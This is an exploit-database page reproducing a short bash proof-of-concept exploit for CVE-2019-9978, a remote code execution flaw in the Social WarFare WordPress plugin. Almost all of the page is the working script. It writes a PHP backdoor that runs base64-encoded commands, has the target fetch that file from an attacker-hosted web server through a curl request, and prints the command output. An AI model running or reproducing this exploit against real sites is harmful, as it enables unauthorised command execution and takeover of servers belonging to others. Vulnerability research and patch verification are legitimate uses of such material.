Exploit database

GH-501d90f2d8e64154e86640577b94f78c

d3fudd/cve-2019-9978_exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-9978

18 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
d3fudd/cve-2019-9978_exploitRevision 6dd1cd76dce5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Shell · 808 bytes
#!/bin/bash

if [ $# -ne 3 ]; then
	echo " "
	echo "       CVE-2019-9978 Exploit"
	echo " Social WarFare Plugin (<=3.5.2) RCE"
	echo " "
	echo " Usage:"
	echo " $0 http://wordpress_target/ [your IP] [command]"
	exit 1
fi

# Gera payload
echo '<pre>system(base64_decode($_GET[cmd]))</pre>' > backdoor.php
echo " "
echo ' [!] Remember to start the web server in this directory'
echo "      python3 -m http.server 80"
echo " "

# Encoda o comando para enviar por URL
cmd=$(echo -n $3 | base64)

# Executa o comando
curl -s $1'wp-admin/admin-post.php?cmd='$cmd'&swp_debug=load_options&swp_url=http://'$2'/backdoor.php' > resposta.txt
fim=$(cat -n resposta.txt | grep '<!DOCTYPE html>' | cut -f1 | sed 's/ //g')

# Exibe o retorno
cat resposta.txt | head -n $fim

# Remove temp files
rm resposta.txt backdoor.php